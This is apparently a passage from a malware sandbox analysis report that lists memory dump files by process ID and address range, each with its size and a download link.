memory/1324-149-0x000000001B7E0000-0x000000001B7E1000-memory.dmp

Filesize
4KB

Download
memory/1324-147-0x0000000002570000-0x0000000002571000-memory.dmp

Filesize
4KB

Download
memory/1324-152-0x00000000022B0000-0x00000000022B1000-memory.dmp

Filesize
4KB

Download
memory/1324-146-0x000000001ABF4000-0x000000001ABF6000-memory.dmp

Filesize
8KB

Download
memory/1484-79-0x0000000041012000-0x0000000041014000-memory.dmp

Filesize
8KB

Download
memory/1484-82-0x0000000041017000-0x0000000041018000-memory.dmp

Filesize
4KB

Download
memory/1484-81-0x0000000041016000-0x0000000041017000-memory.dmp

Filesize
4KB

Download
memory/1484-80-0x0000000041014000-0x0000000041016000-memory.dmp

Filesize
8KB

Download
memory/1484-77-0x00000000416C0000-0x0000000041AE1000-memory.dmp

Filesize
4.1MB

Download
memory/1548-85-0x0000000002420000-0x0000000002421000-memory.dmp

Filesize
4KB

Download
memory/1548-102-0x000000001B550000-0x000000001B551000-memory.dmp

Filesize
4KB

Download
memory/1548-104-0x000000001A9F0000-0x000000001A9F1000-memory.dmp

Filesize
4KB

Download
memory/1548-84-0x000007FEFBC31000-0x000007FEFBC33000-memory.dmp

Filesize
8KB

Download
memory/1548-103-0x000000001B740000-0x000000001B741000-memory.dmp

Filesize
4KB

Download
memory/1548-89-0x000000001A970000-0x000000001A972000-memory.dmp

Filesize
8KB

Download
memory/1548-90-0x000000001A974000-0x000000001A976000-memory.dmp

Filesize
8KB

Download
memory/1548-113-0x000000001A97A000-0x000000001A999000-memory.dmp

Filesize
124KB

Download
memory/1548-86-0x000000001AAE0000-0x000000001AAE1000-memory.dmp

Filesize
4KB

Download
memory/1548-100-0x0000000001FA0000-0x0000000001FA1000-memory.dmp

Filesize
4KB

Download
memory/1548-87-0x0000000002370000-0x0000000002371000-memory.dmp

Filesize
4KB

Download
memory/1548-92-0x000000001C180000-0x000000001C181000-memory.dmp

Filesize
4KB

Download
memory/1548-88-0x0000000002790000-0x0000000002791000-memory.dmp

Filesize
4KB

Download
memory/1548-176-0x000000001C780000-0x000000001C781000-memory.dmp

Filesize
4KB

Download
memory/1612-62-0x0000000000400000-0x0000000000496000-memory.dmp

Filesize
600KB

Download
memory/1612-61-0x0000000000220000-0x00000000002B1000-memory.dmp

Filesize
580KB

Download
memory/1612-60-0x0000000075D51000-0x0000000075D53000-memory.dmp

Filesize
8KB

Download
memory/2044-119-0x0000000002430000-0x0000000002431000-memory.dmp

Filesize
4KB

Download
memory/2044-118-0x000000001AC50000-0x000000001AC51000-memory.dmp

Filesize
4KB

Download
memory/2044-114-0x00000000024F0000-0x00000000024F1000-memory.dmp

Filesize
4KB

Download
memory/2044-124-0x000000001ACA0000-0x000000001ACA1000-memory.dmp

Filesize
4KB

Download
memory/2044-137-0x000000001B6E0000-0x000000001B6E1000-memory.dmp

Filesize
4KB

Download
memory/2044-111-0x000000001ACF0000-0x000000001ACF2000-memory.dmp

Filesize
8KB

Download
memory/2044-138-0x000000001B6F0000-0x000000001B6F1000-memory.dmp

Filesize
4KB

Download
memory/2044-116-0x00000000025B0000-0x00000000025B1000-memory.dmp

Filesize
4KB

Download
memory/2044-112-0x000000001ACF4000-0x000000001ACF6000-memory.dmp

Filesize
8KB

Download